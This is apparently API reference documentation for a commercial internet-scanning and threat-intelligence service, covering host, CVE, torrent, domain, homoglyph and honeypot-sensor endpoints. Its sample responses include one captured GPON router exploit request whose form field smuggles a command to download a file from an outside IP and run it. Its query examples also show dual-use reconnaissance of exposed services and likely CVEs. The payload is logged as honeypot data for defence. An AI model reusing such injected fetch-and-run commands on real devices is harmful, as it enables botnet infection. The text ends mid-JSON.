Skip to content

API V1 - Enterprise - Documentation

API V1 - Enterprise Accounts only.

To get access, please get in touch with <[email protected]>.

Base URL : https://api.binaryedge.io/v1/

Key Header : X-Token

curl 'https://api.binaryedge.io/v1/<endpoint>' -H 'X-Token:API_TOKEN'

Swagger Definition

You can download the Swagger OpenAPI specification file : v1.yaml. You can use this with Postman or any other client tool.

Index

On-Demand Scanning

Check Scanning Engine V2 for details.

Query Endpoints

Host

/v1/query/historical/{target}

Details about a Host, with data up to 6 months.

List of events for the specified host, with events for each time that:

  • A port was detected open
  • A service was found running
  • Other modules were successfully executed

Parameters

  • target: [String] Target IP address or CIDR up to /24

Output

curl 'https://api.binaryedge.io/v1/query/historical/222.208.xxx.xxx' -H 'X-Token:API_TOKEN'

{
  "origin": {
    "country": "uk",
    "module": "grabber",
    "ts": 1464558594512,
    "type": "service-simple"
  },
  "target": {
    "ip": "222.208.xxx.xxx",
    "protocol": "tcp",
    "port": 992
  },
  "result": {
    "data": {
      "state": {
        "state": "open|filtered"
      },
      "service": {
        "name": "telnets",
        "method": "table_default"
      }
    }
  }
}

/v1/query/latest/{target}

Details about an Host. List of recent events for the specified host, including details of exposed ports and services.

Parameters

  • target: [String] Target IP address or CIDR up to /24

Output

curl 'https://api.binaryedge.io/v1/query/latest/222.208.xxx.xxx' -H 'X-Token:API_TOKEN'

{
  "origin": {
    "country": "uk",
    "module": "grabber",
    "ts": 1464558594512,
    "type": "service-simple"
  },
  "target": {
    "ip": "222.208.xxx.xxx",
    "protocol": "tcp",
    "port": 992
  },
  "result": {
    "data": {
      "state": {
        "state": "open|filtered"
      },
      "service": {
        "name": "telnets",
        "method": "table_default"
      }
    }
  }
}

/v1/query/search

Events based on a Query. List of recent events for the given query, including details of exposed ports and services. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the entire the events. See Search Parameters for details on what parameters can be used.
  • only_ips: [Int] Optional. If only_ips=1, only output IP addresses, ports and protocols.
    • Default: only_ips=0

Output

curl 'https://api.binaryedge.io/v1/query/search?query=product:mysql%20AND%20country:ES' -H 'X-Token:API_TOKEN'

{
  "origin": {
    "type": "service-simple", 
    "ts": 1552128473582, 
    "module": "grabber", 
    "port": 37188, 
    "country": "uk", 
    "ip": "xxx.xxx.xxx.xxx"
  }, 
  "target": {
    "ip": "xxx.xxx.xxx.xxx", 
    "protocol": "tcp", 
    "port": 9100
  }, 
  "result": {
    "data": {
      "state": {
        "state": "open"
      }, 
      "service": {
        "version": "5.0.45-community-nt", 
        "cpe": ["cpe:/a:mysql:mysql:5.0.45-community-nt"], 
        "name": "mysql", 
        "banner": "A\\x00\\x00\\x00\\n5.0.45-community-nt\\x00\\xe0\\x14\\x00\\x00jEZrR\"QS\\x00,\\xa2\\x08\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00/,0Msz,gFdFr\\x00", 
        "method": "probe_matching", 
        "product": "MySQL"
      }
    }
  }
}

/v1/query/search/stats

Statistics of recent events for the given query. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the events. See Search Parameters for details on what parameters can be used.
  • type: [String] Type of statistic we want to obtain. Possible types include:
    • ports, products, versions, tags, services, countries, asn.
  • order: [String] Optional. Whether to sort descending or ascending.
    • desc, asc
    • Default: order=desc

Output

curl 'https://api.binaryedge.io/v1/query/search/stats?query=product:mysql%20AND%20country:ES&type=ports' -H 'X-Token:API_TOKEN'

[
  {
    "key": "3306/tcp", 
    "doc_count": 42761
  }, 
  {
    "key": "102/tcp", 
    "doc_count": 5
  }, 
  {
    "key": "1234/tcp", 
    "doc_count": 5
  }, 
  {
    "key": "1911/tcp", 
    "doc_count": 5
  }, 
  {
    "key": "5001/tcp", 
    "doc_count": 5
  }
]

Torrent

/v1/query/torrent/historical/{target}

Details about torrents transferred by an Host, with data up to 6 months.

List of torrent events for the specified host, with events for each time that a new transfer was detected on the DHT. See Torrent Data for more details.

Parameters

  • target: [String] Target IP address or CIDR up to /24

Output

curl 'https://api.binaryedge.io/v1/query/torrent/222.208.xxx.xxx' -H 'X-Token:API_TOKEN'

{
  "origin":{  
    "type":"peer",
    "module":"torrent",
    "ts":1491827676263
  },
  "node":{  
    "ip":"219.88.xxx.xxx",
    "port":25923
  },
  "peer":{  
    "ip":"222.208.xxx.xxx",
    "port":30236
  },
  "torrent":{  
    "infohash":"cbe45addbb48c07ef6451bd3bee326d5cd82538f",
    "name":"NCIS Los Angeles S08E20 HDTV x264-LOL EZTV",
    "source":"EZTV",
    "category":"TV Show"
  }
}

/v1/query/torrent/latest/{target}

Details about torrents transferred by an Host. List of recent torrent events for the specified host, including details of the peer and torrent. See Torrent Data for more details.

Parameters

  • target: [String] Target IP address or CIDR up to /24

Output

curl 'https://api.binaryedge.io/v1/query/torrent/latest/222.208.xxx.xxx' -H 'X-Token:API_TOKEN'

{
  "origin":{  
    "type":"peer",
    "module":"torrent",
    "ts":1491827676263
  },
  "node":{  
    "ip":"219.88.xxx.xxx",
    "port":25923
  },
  "peer":{  
    "ip":"222.208.xxx.xxx",
    "port":30236
  },
  "torrent":{  
    "infohash":"cbe45addbb48c07ef6451bd3bee326d5cd82538f",
    "name":"NCIS Los Angeles S08E20 HDTV x264-LOL EZTV",
    "source":"EZTV",
    "category":"TV Show"
  }
}

/v1/query/torrent/search

Events based on a Query. List of recent events for the given query, including details of the peer and torrent. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the events. See Search Parameters for details on what parameters can be used.
  • page: [Int] Optional. Results page number.
    • Default: page=1
  • pagesize: [Int] Optional. Results page size.
    • Default: pagesize=100

Output

curl 'https://api.binaryedge.io/v1/query/torrent/search?query=category:video' -H 'X-Token:API_TOKEN'

{
  "query":"category:video",
  "page":1,
  "pagesize":20,
  "total":3149612,
  "events":[
    {
      "origin":{
        "type":"peer",
        "module":"torrent",
        "ts":1565166671255
      },
      "node":{
        "ip":"xxx.xxx.xxx.xxx",
        "port":2949
      },
      "peer":{
        "ip":"xxx.xxx.xxx.xxx",
        "port":6881
      },
      "torrent":{
        "infohash":"d5380fcda66b48fb8b521d5c3b5e61b91c94775e",
        "name":"Britain's Best Back Gardens Series",
        "source":"ThePirateBay",
        "category":"Video",
        "subcategory":"TV shows"
      }
    },
    {
      "origin":{
        "type":"peer",
        "module":"torrent",
        "ts":1565166671242
      },
      "node":{
        "ip":"xxx.xxx.xxx.xxx",
        "port":8999
      },
      "peer":{
        "ip":"xxx.xxx.xxx.xxx",
        "port":24279
      },
      "torrent":{
        "infohash":"d5380fcda66b48fb8b521d5c3b5e61b91c94775e",
        "name":"Britain's Best Back Gardens Series",
        "source":"ThePirateBay",
        "category":"Video",
        "subcategory":"TV shows"
      }
    }
  ]
}

/v1/query/torrent/search/stats

Statistics of events for the given query. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the events. See Search Parameters for details on what parameters can be used.
  • type: [String] Type of statistic we want to obtain. Possible types include:
    • ports, countries, asn, ips, categories, names.
  • days: [Integer] Optional. Number of days to get the stats for. For example, days=1 for the last day of data.
    • Default: days=90
    • Max: days=90
  • order: [String] Optional. Whether to sort descending or ascending.
    • desc, asc
    • Default: order=desc

Output

curl 'https://api.binaryedge.io/v1/query/torrent/search/stats?query=category:video&type=ports' -H 'X-Token:API_TOKEN'

[
  {
    "key":1,
    "doc_count":168056
  },
  {
    "key":8999,
    "doc_count":133738
  },
  {
    "key":6881,
    "doc_count":91512
  },
  {
    "key":51413,
    "doc_count":58998
  },
  {
    "key":1200,
    "doc_count":35127
  }
]

CVE

/v1/query/cve/ip/{target}

Get a list of CVEs that might affect a specific IP.

Parameters

  • target: [String] target IP address

Output

curl 'https://api.binaryedge.io/v1/query/cve/ip/xxx.xxx.xxx.xxx' -H 'X-Token:API_TOKEN'

{
  "query": "xxx.xxx.xxx.xxx",
  "events": {
    "ip": "xxx.xxx.xxx.xxx",
    "ports": [11, 15, 21, 25, 79, 80, 111, 119, 143, 3389, 6000, 8080],
    "results": [{
      "port": 111,
      "cpe": [],
      "ts": 1550723598503,
      "cves": []
    }, {
      "port": 11,
      "cpe": [],
      "ts": 1550713541527,
      "cves": []
    }, {
      "port": 6000,
      "cpe": [],
      "ts": 1549215405492,
      "cves": []
    }, {
      "port": 25,
      "cpe": [],
      "ts": 1551649814882,
      "cves": []
    }, {
      "port": 79,
      "cpe": [],
      "ts": 1550042997176,
      "cves": []
    }, {
      "port": 8080,
      "cpe": ["cpe:/a:apache:http_server:2.4.7"],
      "ts": 1551779143688,
      "cves": [{
        "cve": "CVE-2018-17199",
        "cvss": 5.0
      }, {
        "cve": "CVE-2018-1312",
        "cvss": 6.8
      }, {
        "cve": "CVE-2018-1283",
        "cvss": 3.5
      }, {
        "cve": "CVE-2017-9798",
        "cvss": 5.0
      }, {
        "cve": "CVE-2017-9788",
        "cvss": 6.4
      }, {
        "cve": "CVE-2017-7679",
        "cvss": 7.5
      }, {
        "cve": "CVE-2017-15715",
        "cvss": 6.8
      }, {
        "cve": "CVE-2017-15710",
        "cvss": 5.0
      }, {
        "cve": "CVE-2016-8743",
        "cvss": 5.0
      }, {
        "cve": "CVE-2016-8612",
        "cvss": 3.3
      }, {
        "cve": "CVE-2016-4975",
        "cvss": 4.3
      }, {
        "cve": "CVE-2016-2161",
        "cvss": 5.0
      }, {
        "cve": "CVE-2016-0736",
        "cvss": 5.0
      }, {
        "cve": "CVE-2015-3185",
        "cvss": 4.3
      }, {
        "cve": "CVE-2015-3184",
        "cvss": 5.0
      }, {
        "cve": "CVE-2014-8109",
        "cvss": 4.3
      }, {
        "cve": "CVE-2014-3523",
        "cvss": 5.0
      }, {
        "cve": "CVE-2014-0231",
        "cvss": 5.0
      }, {
        "cve": "CVE-2014-0226",
        "cvss": 6.8
      }, {
        "cve": "CVE-2014-0118",
        "cvss": 4.3
      }, {
        "cve": "CVE-2014-0117",
        "cvss": 4.3
      }, {
        "cve": "CVE-2014-0098",
        "cvss": 5.0
      }, {
        "cve": "CVE-2013-6438",
        "cvss": 5.0
      }]
    }, {
      "port": 3389,
      "cpe": [],
      "ts": 1551348878536,
      "cves": []
    }, {
      "port": 15,
      "cpe": [],
      "ts": 1549108048510,
      "cves": []
    }, {
      "port": 143,
      "cpe": [],
      "ts": 1549566728724,
      "cves": []
    }, {
      "port": 80,
      "cpe": ["cpe:/a:igor_sysoev:nginx:1.4.6"],
      "ts": 1550250446832,
      "cves": [{
        "cve": "CVE-2019-7401",
        "cvss": 7.5
      }, {
        "cve": "CVE-2016-4450",
        "cvss": 5.0
      }, {
        "cve": "CVE-2016-0747",
        "cvss": 5.0
      }, {
        "cve": "CVE-2016-0746",
        "cvss": 7.5
      }, {
        "cve": "CVE-2016-0742",
        "cvss": 5.0
      }, {
        "cve": "CVE-2014-3616",
        "cvss": 4.3
      }, {
        "cve": "CVE-2014-0133",
        "cvss": 5.1
      }]
    }, {
      "port": 21,
      "cpe": [],
      "ts": 1550642140211,
      "cves": []
    }, {
      "port": 119,
      "cpe": [],
      "ts": 1550377835750,
      "cves": []
    }]
  }
}

Domains

What is exposed via DNS? What subdomains belong to a Domain? What domains are served by IP X?

/v1/query/domains/subdomain/{target}

Return list of subdomains known from the target domains

Parameters

  • target: [String] Domain for which you want to get a list of known subdomains.
  • page: [Int] Optional. Results page number.
    • Default: page=1
  • pagesize: [Int] Optional. Results page size.
    • Default: pagesize=100

Output

curl 'https://api.binaryedge.io/v1/query/domains/subdomain/example.com' -H 'X-Token:API_TOKEN'

{
  "query": "root:example.com",
  "page": 1,
  "pagesize": 100,
  "total": 6308,
  "events": ["m.example.com", "startup.antichat.example.com", "anandop1.example.com", "vladimirbezz3.example.com"]
}

/v1/query/domains/dns/{target}

Return list of known DNS results for the target domain.

Possible types of records currently available:

  • A
  • AAAA
  • NS
  • MX

Parameters

  • target: [String] Domain for which you want to get DNS-related data.
  • page: [Int] Optional. Results page number.
    • Default: page=1
  • pagesize: [Int] Optional. Results page size.
    • Default: pagesize=100

Output

curl 'https://api.binaryedge.io/v1/query/domains/dns/example.com' -H 'X-Token:API_TOKEN'

{
  "query": "root:example.com",
  "page": 1,
  "pagesize": 100,
  "total": 6308,
  "events": [{
    "A": ["92.63.97.42"],
    "updated_at": "2018-09-22T04:53:21.082802",
    "domain": "startup.antichat.example.com",
    "root": "example.com"
  }, {
    "A": ["93.184.216.34"],
    "MX": ["example.com"],
    "NS": ["ns1.example.com", "ns2.example.com"],
    "updated_at": "2018-12-10T13:20:16.854174",
    "domain": "example.com",
    "root": "example.com",
  }, {
    "A": ["91.235.136.112"],
    "updated_at": "2018-09-22T04:14:29.031596",
    "domain": "vladimirbezz3.example.com",
    "root": "example.com"
  }, {
    "A": ["93.179.68.6"],
    "updated_at": "2018-09-22T03:51:36.852124",
    "domain": "i.seeva.example.com",
    "root": "example.com"
  }]
}

/v1/query/domains/ip/{target}

Return records that have the specified IP address in their A or AAAA records.

Parameters

  • target: [String] Target IP address or CIDR up to /24, supports IPV4 or IPV6
  • page: [Int] Optional. Results page number.
    • Default: page=1
  • pagesize: [Int] Optional. Results page size.
    • Default: pagesize=100

Output

curl 'https://api.binaryedge.io/v1/query/domains/ip/8.8.8.8' -H 'X-Token:API_TOKEN'

{
  "query": "A:\"8.8.8.8\"",
  "page": 1,
  "pagesize": 100,
  "total": 726,
  "events": [{
    "A": ["8.8.8.8"],
    "updated_at": "2018-06-08T20:51:30.676063",
    "NS": ["ns1058.ui-dns.org", "ns1062.ui-dns.com", "ns1068.ui-dns.biz", "ns1096.ui-dns.de"],
    "domain": "aeroway.co.uk",
    "root": "aeroway.co.uk",
    "MX": ["mx00.1and1.co.uk", "mx01.1and1.co.uk"]
  }, {
    "A": ["8.8.8.8"],
    "updated_at": "2018-06-08T20:53:30.348620",
    "NS": ["f1g1ns1.dnspod.net", "f1g1ns2.dnspod.net"],
    "domain": "84168800.com",
    "root": "84168800.com"
  }, {
    "A": ["8.8.8.8"],
    "updated_at": "2018-06-08T20:53:32.450310",
    "NS": ["f1g1ns1.dnspod.net", "f1g1ns2.dnspod.net"],
    "domain": "84169911.com",
    "root": "84169911.com"
  }, {
    "A": ["8.8.8.8"],
    "updated_at": "2018-06-08T20:53:32.508761",
    "NS": ["f1g1ns1.dnspod.net", "f1g1ns2.dnspod.net"],
    "domain": "84163311.com",
    "root": "84163311.com"
  }, {
    "A": ["8.8.8.8"],
    "updated_at": "2018-06-08T20:53:32.540496",
    "NS": ["f1g1ns1.dnspod.net", "f1g1ns2.dnspod.net"],
    "domain": "00888416.com",
    "root": "00888416.com"
  }]
}

/v1/query/domains/search

List of Domains/DNS data based on a Query. Can be used with specific parameters and/or full-text search. Possible types of records currently available:

  • A
  • AAAA
  • NS
  • MX
  • CNAME
  • TXT

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the events.
  • page: [Int] Optional. Results page number.
    • Default: page=1
  • pagesize: [Int] Optional. Results page size.
    • Default: pagesize=100

Output

curl 'https://api.binaryedge.io/v1/query/domains/search?query=A:127.0.0.1' -H 'X-Token:API_TOKEN'

{
  "query": "A:127.0.0.1",
  "page": 1,
  "pagesize": 100,
  "total": 176685,
  "events": [{
    "A": ["127.0.0.1"],
    "updated_at": "2018-06-08T20:32:57.002881",
    "NS": ["ns3jkl.name.com", "ns4qxz.name.com", "ns2knz.name.com", "ns1ksz.name.com"],
    "domain": "heathynurseway.co.uk",
    "root": "heathynurseway.co.uk",
    "MX": ["mail.emailgoodbye.me"]
  }, {
    "A": ["127.0.0.1"],
    "updated_at": "2018-06-08T20:29:19.612334",
    "NS": ["ns1.antagus.de", "ns2.antagus.de"],
    "domain": "vit.press",
    "root": "vit.press",
    "MX": ["mail.vit.press"]
  }]
}

/v1/query/domains/enumeration

This endpoint attempts to enumerate subdomains from a larger dataset. The validate flag can be used to have all subdomains resolved on the fly and only those with DNS entries behind them returned.

Parameters

  • domain: [string] Domain you want to enumerate
  • validate: [any] Optional. If validate=1, forces all subdomains to be resolved on request and only live subdomains to be returned
    • Default: validate=0
  • total: [int] Optional. Return at most the number of results specified
    • Default: undefined, return all results

Output

curl 'https://api.binaryedge.io/v1/query/domains/enumeration/binaryedge.io?validate=1' -H 'X-Token:API_TOKEN'

{
  "query": "binaryedge.io",
  "total": 54,
  "events": [
    {
      "fqdn": "torrents.services.core.binaryedge.io",
      "records": [
        {
          "type": "A",
          "answers": [
            "167.114.242.196"
          ]
        }
      ]
    },
    {
      "fqdn": "cve.services.dev.binaryedge.io",
      "records": [
        {
          "type": "A",
          "answers": [
            "167.114.228.35"
          ]
        }
      ]
    },
    {
      "fqdn": "beira.services.dev.binaryedge.io",
      "records": [
        {
          "type": "A",
          "answers": [
            "167.114.228.35"
          ]
        }
      ]
    }
  ]
}

/v1/query/domains/homoglyphs

This endpoint generates a list of homoglyphs for a base domain. The validate flag can be used to have all homoglyphs resolved on the fly and only those with DNS entries behind them returned.

Parameters

  • domain: [string] Domain for which you want to generate homoglyphs
  • validate: [any] Optional. If validate=1, forces all homoglyphs to be resolved on request and only live homoglyphs to be returned
    • Default: validate=0
  • total: [int] Optional. Return at most the number of results specified
    • Default: undefined, return all results

Output

curl 'https://api.binaryedge.io/v1/query/domains/homoglyphs/binaryedge.io?validate=1' -H 'X-Token:API_TOKEN'

{
  "query": "binaryedge.io",
  "total": 3,
  "events": [
    {
      "homoglyph": "binaryedge.io",
      "records": [
        {
          "type": "A",
          "answers": [
            "104.28.7.147",
            "104.28.6.147"
          ]
        },
        {
          "type": "AAAA",
          "answers": [
            "2606:4700:30::681c:793",
            "2606:4700:30::681c:693"
          ]
        },
        {
          "type": "MX",
          "answers": [
            "aspmx3.googlemail.com",
            "aspmx2.googlemail.com",
            "alt2.aspmx.l.google.com",
            "aspmx.l.google.com",
            "alt1.aspmx.l.google.com"
          ]
        },
        {
          "type": "NS",
          "answers": [
            "ines.ns.cloudflare.com",
            "amir.ns.cloudflare.com"
          ]
        },
        {
          "type": "TXT",
          "answers": [
            "v=spf1 include:_spf.google.com include:sendgrid.net include:email.chargebee.com include:servers.mcsv.net ~all",
            "google-site-verification=bhof7a1nmd90snoyjmz3bozznwpvsga6z9nn0fngyys"
          ]
        }
      ]
    },
    {
      "homoglyph": "binaryed.ge.io",
      "records": [
        {
          "type": "A",
          "answers": [
            "193.223.78.230"
          ]
        }
      ]
    },
    {
      "homoglyph": "binarye.dge.io",
      "records": [
        {
          "type": "MX",
          "answers": [
            "in2-smtp.messagingengine.com",
            "in1-smtp.messagingengine.com"
          ]
        }
      ]
    }
  ]
}

Sensors

/v1/query/sensors/ip/{target}

Details about a Scanner. List of recent raw events form the specified host, including details of scanned ports, payloads and tags.

Parameters

  • target: [String] Target IP address or CIDR up to /24

Output

curl 'https://api.binaryedge.io/v1/query/sensors/ip/xxx.xxx.xxx.xxx' -H 'X-Token:API_TOKEN'

{
  "query": "xxx.xxx.xxx.xxx",
  "total": 1,
  "targets_found": 1,
  "events": [{
    "port": 443,
    "results": [{
      "target": {
        "port": 443,
        "protocol": "tcp"
      },
      "origin": {
        "ts": 1549500839739,
        "type": "sinkhole",
        "ip": "xxx.xxx.xxx.xxx",
        "rdns": "xxx.xxx.xxx.example.com"
      },
      "data": {
        "payload": "POST /GponForm/diag_Form?style/ HTTP/1.1\\r\\nUser-Agent: Hello, World\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\n\\r\\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://185.244.25.98/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0",
        "extra": {
          "http": {
            "method": "POST",
            "path": "/GponForm/diag_Form?style/",
            "version": "1.1",
            "headers": {
              "user-agent": "Hello, World",
              "accept": "*/*",
              "accept-encoding": "gzip, deflate",
              "content-type": "application/x-www-form-urlencoded"
            }
          }
        },
        "tags": ["HTTP_SCANNER"]
      },
    }]
  }]
}

/v1/query/sensors/search

Events based on a Query. List of recent enriched events for the given query, including details of scanned ports, payloads and tags. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the events. See Search Parameters for details on what parameters can be used.
  • days: [Integer] Optional. Number of days to get the results for. For example, days=1 for the last day of data.
    • Default: days=30
  • only_ips: [Int] Optional. If only_ips=1, only output IP addresses, ports and protocols.
    • Default: only_ips=0
  • page: [Int] Optional. Results page number.
    • Default: page=1
  • pagesize: [Int] Optional. Results page size.
    • Default: pagesize=100

Output

curl 'https://api.binaryedge.io/v1/query/sensors/search?query=tags:ssh_scanner' -H 'X-Token:API_TOKEN'

{
  "query": "tags:ssh_scanner",
  "page": 1,
  "pagesize": 100,
  "total": 303422723,
  "events": [{
    "country": "IS",
    "geoip": {
      "timezone": "Atlantic/Reykjavik",
      "latitude": 64.1429,
      "country_name": "Iceland",
      "country_code2": "IS",
      "continent_code": "EU",
      "location": {
        "lon": -21.9447,
        "lat": 64.1429
      },
      "iso_code": "IS",
      "longitude": -21.9447
    },
    "sha256": "63b3fe5157fd768d2d45087de0ceecc3f10e9c3f4b4171151f853b62eeae51bd",
    "ip": "89.147.111.171",
    "created_at": "2023-01-12T10:58:38.256000",
    "type": "sinkhole",
    "tags": [
      "SSH_SCANNER"
    ],
    "target": {
      "geoip": {
        "timezone": "Asia/Shanghai",
        "latitude": 30.2994,
        "country_name": "China",
        "continent_code": "AS",
        "location": {
          "lon": 120.1612,
          "lat": 30.2994
        },
        "iso_code": "CN",
        "longitude": 120.1612
      },
      "asn": 37963,
      "as_name": "ALIBABA-CN-NET Hangzhou Alibaba Advertising Co.,Ltd., CN"
    },
    "protocol": "tcp",
    "port": 3001,
    "payload": "\\x00\\x00\\x04\\xac\\x0e\\x14Z\\x04:|\\x16\\x19X.\\xf4\\xce\\x18u\\xf1\\x04\\x84\\xce\\x00\\x00\\x00\\xaccurve25519-sha256,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c\\x00\\x00\\x02\\x19ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,[email protected],ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,[email protected],rsa-sha2-256,rsa-sha2-512,[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected]\\x00\\x00\\x00\\x87arcfour128,arcfour256,arcfour,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,[email protected],[email protected]\\x00\\x00\\x00\\x87arcfour128,arcfour256,arcfour,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,[email protected],[email protected]\\x00\\x00\\[email protected],hmac-sha2-256,hmac-sha1,hmac-sha1-96\\x00\\x00\\[email protected],hmac-sha2-256,hmac-sha1,hmac-sha1-96\\x00\\x00\\x00\\x04none\\x00\\x00\\x00\\x04none\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00|aA`\\x9a5%7\\x8b\\x9f\\x16T\\x0b\\xfd",
    "extra": {
      "ssh": {
        "hassh_algorithms": "curve25519-sha256,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;arcfour128,arcfour256,arcfour,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,[email protected],[email protected];[email protected],hmac-sha2-256,hmac-sha1,hmac-sha1-96;none",
        "hassh": "1a7a56ef6f96058c5da3006c31af241e"
      }
    },
    "asn": 44925,
    "ts": 1673521118256,
    "as_name": "THE-1984-AS, IS"
  },
  {
    "country": "US",
    "geoip": {
      "timezone": "America/New_York",
      "latitude": 39.0814,
      "country_name": "United States",
      "country_name": "United States",
      "country_code2": "US",
      "continent_code": "NA",
      "location": {
        "lon": -77.6443,
        "lat": 39.0814
      },
      "iso_code": "US",
      "longitude": -77.6443
    },
    "sha256": "95ba6d9088fedea26ab1e5a1b5bd18e1df3fb23e324713d49b45365c0c8a1561",
    "ip": "194.55.186.132",
    "created_at": "2023-01-12T10:58:36.728000",
    "type": "sinkhole",
    "tags": [
      "SSH_SCANNER"
    ],
    "target": {
      "geoip": {
        "timezone": "Asia/Shanghai",
        "latitude": 31.2222,
        "country_name": "China",
        "continent_code": "AS",
        "location": {
          "lon": 121.4581,
          "lat": 31.2222
        },
        "iso_code": "CN",
        "longitude": 121.4581
      },
      "asn": 37963,
      "as_name": "ALIBABA-CN-NET Hangzhou Alibaba Advertising Co.,Ltd., CN"
    },
    "protocol": "tcp",
    "port": 4321,
    "payload": "\\x00\\x00\\x04\\xac\\x0e\\x14\\xd3\\xee\\xa3\\xa0\\x0e{\\x8b\\xb0z\\xb0\\x9fR\\xc8hn\\xdb\\x00\\x00\\x00\\xaccurve25519-sha256,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c\\x00
\\x00\\x02\\x19ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,[email protected],ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,[email protected],rsa-sha2-256,rsa-sha2-512,[email protected],[email protected],[email protected],ecdsa-sha2-nist
[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected]\\x00\\x00\\x00\\x87arcfour,arcfour128,arcfour256,aes128-c
tr,aes192-ctr,aes256-ctr,aes128-cbc,[email protected],3des-cbc,[email protected]\\x00\\x00\\x00\\x87arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,[email protected],3des-cbc,[email protected]\\x00\\x00\\[email protected],hmac-sh
a2-256,hmac-sha1,hmac-sha1-96\\x00\\x00\\[email protected],hmac-sha2-256,hmac-sha1,hmac-sha1-96\\x00\\x00\\x00\\x04none\\x00\\x00\\x00\\x04none\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8f\\xf9\\xcb\\xcfE\\xe5d\\x1a\\x1e$\\x07\\x05\\xe0\\x8c",
    "extra": {
      "ssh": {
        "hassh_algorithms": "curve25519-sha256,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;arcfour,arcfour128,arcfour256,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,[email protected],3des
-cbc,[email protected];[email protected],hmac-sha2-256,hmac-sha1,hmac-sha1-96;none",
        "hassh": "f8c77b782d33442905e2c431c2ba312e"
      }
    },
    "asn": 400377,
    "ts": 1673521116728,
    "as_name": "AS-DC, US"
  }]
}

/v1/query/sensors/search/stream

Events based on a Query. Stream of recent raw events for the given query, including details of scanned ports, payloads and tags. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the events. See Search Parameters for details on what parameters can be used.
  • days: [Integer] Optional. Number of days to get the results for. For example, days=1 for the last day of data.
    • Default: days=30
  • only_ips: [Int] Optional. If only_ips=1, only output IP addresses, ports and protocols.
    • Default: only_ips=0

Output

curl 'https://api.binaryedge.io/v1/query/sensors/search/stream?query=tags:ssh_scanner' -H 'X-Token:API_TOKEN'

{
  "data": {
    "payload": "SSH-2.0-PUTTY\\r\\n",
    "extra": {
      "ssh": {
        "description": "SSH-2.0-PUTTY"
      }
    },
    "tags": ["SSH_SCANNER"]
  },
  "target": {
    "port": 22,
    "protocol": "tcp"
  },
  "origin": {
    "ip": "218.92.1.153",
    "type": "sinkhole",
    "ts": 1549625590653,
    "asn": 4134
  }
}, {
  "target": {
    "port": 22,
    "protocol": "tcp"
  },
  "data": {
    "payload": "\\x00\\x00\\x02\\x84\\x07\\x14t\\x85\\x97.Sf\\x88\\xa3\\x1a\\x7f\\xf7:ZzG\\\\\\x00\\x00\\x00Ydiffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1\\x00\\x00\\x00\\x0fssh-rsa,ssh-dss\\x00\\x00\\x00\\x92aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,[email protected],aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc\\x00\\x00\\x00\\x92aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,[email protected],aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc\\x00\\x00\\x00Uhmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,[email protected]\\x00\\x00\\x00Uhmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,[email protected]\\x00\\x00\\x00\\x04none\\x00\\x00\\x00\\x04none\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00=@\\x8d71\\xc9&",
    "extra": {
      "ssh": {
        "hassh": "92674389fa1e47a27ddd8d9b63ecd42b",
